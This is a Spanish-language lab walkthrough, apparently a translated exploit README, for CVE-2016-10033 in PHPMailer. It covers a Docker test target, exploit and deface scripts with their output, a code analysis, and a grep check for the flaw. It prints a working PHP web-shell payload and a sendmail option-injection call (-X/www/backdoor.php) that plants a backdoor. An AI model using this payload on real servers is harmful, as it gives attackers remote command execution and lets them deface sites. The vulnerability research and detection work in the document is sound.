
Para resolver el problema de CTFS.me
PHPMailer es la clase de transporte más popular del mundo, con una estimación de 9 millones de usuarios en todo el mundo. Las descargas continúan a un ritmo significativo a diario. Utilizada por muchos proyectos de código abierto: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! y muchos más
PHPMailer anterior a su versión 5.2.18 sufre una vulnerabilidad que podría conducir a una ejecución remota de código (RCE). La función mailSend en el transporte isMail de PHPMailer, cuando la propiedad Sender no está establecida, podría permitir a atacantes remotos pasar parámetros adicionales al comando mail y, en consecuencia, ejecutar código arbitrario mediante un " (barra invertida y comilla doble) en una dirección From manipulada.
Para configurar un entorno vulnerable para su prueba necesitará Docker instalado, y simplemente ejecute el siguiente comando:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
Y desplegará una aplicación web vulnerable en su host en el puerto 8080

Para explotar este objetivo simplemente ejecute:
./exploit host:port
Si está utilizando esta imagen vulnerable, puede ejecutar:
./exploit localhost:8080
Después de la explotación, se almacenará un archivo llamado backdoor.php en la carpeta raíz del directorio web. Y el exploit le proporcionará una shell desde la que podrá enviar comandos al backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Y eso es todo, ya tiene su shell. Hay otro exploit que ilustra otro caso de uso.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
Y si vuelve a visitar la página, verá esto:

Antes de este commit en class.phpmailer.php, en un determinado escenario no hay filtro para los caracteres especiales de la dirección de correo del remitente. Esta falla puede conducir a una ejecución remota de código, a través de la función mail aquí.
Analizando el código, no hay filtro en la función mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender se añade directamente a la variable $params, la cual fue filtrada en la función validateAddress(), pero como utiliza la especificación RFC 3696, permite ciertos caracteres que romperán las cosas. En este caso, las comillas:
Además de las comillas mediante el carácter de barra invertida, los caracteres convencionales de comilla doble pueden usarse para rodear cadenas. Por ejemplo
"Abc@def"@example.com
"Fred Bloggs"@example.com
son formas alternativas de los dos primeros ejemplos anteriores. Estas formas entrecomilladas rara vez se recomiendan y son poco comunes en la práctica, pero, como se ha comentado anteriormente, deben ser soportadas por las aplicaciones que procesan direcciones de correo electrónico. En particular, las formas entrecomilladas suelen aparecer en el contexto de direcciones asociadas con transiciones desde otros sistemas y contextos; esos requisitos transicionales todavía surgen y, dado que un sistema que acepta una dirección de correo proporcionada por el usuario no puede "saber" si esa dirección está asociada a un sistema heredado, las formas de dirección deben ser aceptadas y pasadas al entorno de correo.
Puede leer el RFC completo aquí si lo desea. Pero además, si la versión de PHP es inferior a 5.2.0 y no hay PCRE instalado, la variable $patternselect en validateAddress() se establecerá en noregex. Esto hará que la entrada pueda evitar cualquier comprobación de expresiones regulares. Solo pasará por una pequeña verificación:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
A continuación, el flujo del código pasa a la función mailPassthru(), que, si se ejecuta en safe_mode, no será vulnerable a esta falla, tal como lo indica el siguiente código
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Pero, si no se está ejecutando en safe_mode, nuestro parámetro especial se pasará a mail() y, si tenemos suerte, hará que nuestro archivo, que contiene lo que queramos, se escriba donde elijamos.
La explotación de la función mail() de PHP no es algo nuevo, pero sigue vigente y la gente aún la utiliza. Para explicar cómo funciona, veamos cómo se define la función mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Hay varios métodos de explotación para diferentes resultados; nos centraremos en la explotación del quinto parámetro para obtener una ejecución remota de código (RCE). El parámetro $additional_parameters se utiliza para pasar opciones adicionales como argumentos de línea de comandos al programa configurado para enviar el correo electrónico. Esta configuración está definida por la variable sendmail_path.
Una nota de seguridad de la documentación oficial de PHP:
El parámetro additional_parameters se puede utilizar para pasar opciones adicionales como argumentos de línea de comandos al programa configurado para enviar correo, según lo definido por el ajuste de configuración sendmail_path. Por ejemplo, esto se puede utilizar para establecer la dirección del remitente del sobre cuando se usa sendmail con la opción -f sendmiail.
Este parámetro es escapado internamente por escapeshellcmd() para prevenir la ejecución de comandos. escapeshellcmd() previene la ejecución de comandos, pero permite añadir parámetros adicionales. Por razones de seguridad, se recomienda que el usuario sane este parámetro para evitar añadir parámetros no deseados al comando de shell.
Teniendo en cuenta los parámetros adicionales que se pueden inyectar, usaremos -X para explotar esta falla. Más información sobre el parámetro -X
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
También hay otros parámetros interesantes que debería saber que existen:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
Y
-O option=value
Set option option to the specified value. This form uses long names.
Y para la opción -O, QueueDirectory es la opción más interesante; esta opción selecciona el directorio en el cual se pondrán en cola los mensajes.
Si desea leer la lista completa de parámetros y opciones, ejecute man sendmail o léala en línea aquí
Con base en esta información y en la capacidad de controlar al menos uno de los otros parámetros, podemos explotar el host. A continuación se muestran los pasos para una explotación exitosa:
$additional_parameters y otro parámetro de mail()webroot (también conocido como /var/www/html en otros sistemas, /www en este ejemplo)system(), con un toque de base64 y algunos caracteres especiales | para que sea más fácil de parsear.Recuerde que la opción -X escribirá el archivo de registro, que contendrá entre la información de registro su payload PHP, en el directorio que usted indique. Un ejemplo de un código PHP vulnerable:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Si ejecuta el código anterior, creará un archivo de registro en /www/backdoor.php; esta es la esencia de este exploit.
A continuación, el payload utilizado en este ejemplo
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
¿Quiere una forma fácil, de un solo comando, de intentar detectar esta falla? ¡Recuerde este mágico comando grep!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Ejecutarlo contra este repositorio dará como resultado
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Esta vulnerabilidad fue encontrada por Dawid Golunski.
Este programa o los programas anteriores son solo para fines educativos. No los utilice sin permiso. Se aplica el descargo de responsabilidad habitual, especialmente el hecho de que yo (opsxcq) no soy responsable de ningún daño causado por el uso directo o indirecto de la información o funcionalidad proporcionada por estos programas. El autor o cualquier proveedor de Internet NO tiene responsabilidad alguna por el contenido o el mal uso de estos programas o de cualquier derivado de los mismos. Al utilizar estos programas, usted acepta que cualquier daño (pérdida de datos, caída del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de opsxcq.